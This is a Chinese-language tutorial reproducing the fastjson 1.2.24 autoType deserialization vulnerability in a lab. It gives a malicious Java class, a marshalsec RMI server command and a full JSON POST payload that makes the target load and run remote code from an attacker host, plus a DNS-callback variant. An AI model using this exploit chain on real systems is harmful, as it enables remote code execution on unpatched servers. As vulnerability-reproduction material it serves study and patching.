概述
简介
fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。
在Java 8u102环境下,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。
环境
-
靶机:http://192.168.3.105:8090,使用docker起的靶机:
-
攻击者站点:http://192.168.3.105:8080,这里用的是tomcat(nginx或其他亦可),同样使用docker起,如上图:
-
攻击者RMI服务器:rmi://192.168.3.102:6666
注意:攻击者有两个服务端需要准备,分别是存放攻击代码的http://192.168.3.105:8080和rmi://192.168.3.102:6666
思路
攻击者通过RMI服务返回一个JNDI Naming Reference,受害者解码Reference时会去我们指定的Codebase远程地址(http://192.168.3.105:8080)加载Factory类,不受 java.rmi.server.useCodebaseOnly 系统属性的限制,所以更加通用。
但是由于JDK 6u132, JDK 7u122, JDK 8u113 中Java提升了JNDI 限制了Naming/Directory服务中JNDI Reference远程加载Object Factory类的特性。系统属性 com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase 默认为false,即默认不允许从远程的Codebase加载Reference的工厂类(Factory Class)。
因此本文复现,基于Java 8u102环境,没有com.sun.jndi.rmi.object.trustURLCodebase的限制
漏洞复现
- 192.168.3.105:8080站点准备
- 在idea中编译以下代码,生成
TouchFile.class
文件,文件代码很简单,就是为了在/tmp目录下生成success文件:
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
- 通过docker起个tomcat,在tomcat的web目录
/usr/local/tomcat/webapps/ROOT/
下,放入刚刚编译好的TouchFile.class文件
RMI服务器准备
(1)从https://github.com/mbechler/marshalsec 下载源码,进入marshalsec 目录,使用mvn clean package -DskipTests
命令编译出marshalsec的jar包:
(2)进入上图marshalsec-0.0.3-SNAPSHOT.jar
所在文件夹,执行java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.3.105:8080/#TouchFile" 6666
。
其中192.168.3.105:8080指向的就是放了恶意class的tomcat站点,#TouchFile指定是远程TouchFile类,最后的6666代表RMI服务监听的端口
攻击请求包构造
- 开bp截包,
dataSourceName
对应的值中指定指明rmi服务器的地址,其中Content-Type: application/json
别忘了,靶机回500:
POST / HTTP/1.1
Accept: */*
Accept-Language: zh-CN
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; NMTE)
Host: 192.168.3.105:8080
Connection: close
Content-Length: 165
Content-Type: application/json
Accept-Encoding: gzip, deflate
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://192.168.3.102:6666/TouchFile",
"autoCommit":true
}
}
- rmi服务器可以看到成功收到请求,并请求http://192.168.3.105:8080/TouchFile.class:
- tomcat日志中也可以看到请求成功:
- /tmp目录下成功生成success文件
通过DNS拿回显
在实际情况下,因为不可能会有受害机权限,往往不会通过创建文件方式来证明漏洞存在。一般常用方法是通过DNS拿回显。
- 命令直接换成ping
- 同样jndi服务指向也要改下,对应tomcat的Dns.class记得放到对应目录下
- dns回显成功拿到
解决方案
将fastjson升级到最新版本
最后
以上就是现实心锁为你收集整理的fastjson 1.2.24反序列化漏洞复现的全部内容,希望文章能够帮你解决fastjson 1.2.24反序列化漏洞复现所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复